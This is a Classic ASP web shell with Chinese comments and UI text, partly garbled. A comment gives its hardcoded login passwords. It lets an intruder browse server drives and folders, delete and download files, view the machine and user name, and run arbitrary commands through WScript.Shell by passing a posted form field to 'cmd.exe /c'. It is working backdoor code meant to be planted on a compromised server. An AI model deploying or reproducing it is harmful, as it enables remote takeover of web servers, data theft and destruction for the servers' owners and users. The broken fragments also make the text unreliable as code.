%@ LANGUAGE="VBSCRIPT" codepage ="936" %> <%'密码第一个是makelove,第二个是haiyangtop.126.com,查找替换这两个单词就可以改成别的密码了%>
喜欢看着蓝蓝的天,喝牛奶,被人宠,被人哄,被人抱着,被人迁就,不用减肥,可以大笑和大哭…… | ||||
|
" & objRS(intCounter).Name & " | " Next Response.Write "|
" & objRS.Fields(intCounter).Value & " | " Else Response.Write "--- | " End If Next Response.Write "
切换盘符: <% For Each thing in fsoBrowse.Drives Response.write ""&thing.DriveLetter&"盘: " NEXT %> 本机局域网地址: <% Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") %><%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %> | <% if Request("attrib")="true" then response.write "点击切换到相对路径编辑模式" else response.write "点击切换到绝对路径编辑模式" end if %> 路径: <%=cpath%> 当前浏览目录:<%=lpath%> | ||||
<% if request.form("submit1")="返回免fso页" then call out() end if%> | |||||
<% On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") DSnXA = Request.Form(".CMD") If (DSnXA <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & DSnXA & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If%> | |||||
<%
dim theFolder,theSubFolders
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"■↑回上级目录 " For Each x In theSubFolders Response.write"└■ "&x.Name&" ×删除 " Next end if %> |
文件名 (鼠标移到文件名可以查看给文件的属性) | 大小(字节) | 文件操作 | ||
<%
dim theFiles
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"
|
源文件:"+whichfile+"
") Response.End end if Set f = fso.GetFile(strFilename) intFilelength = f.size s.LoadFromFile(strFilename) if err then Response.Write("
")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
response.end
End Function
function out()
session("password")=""
response.redirect ""&Co&""
response.end
End Function
%>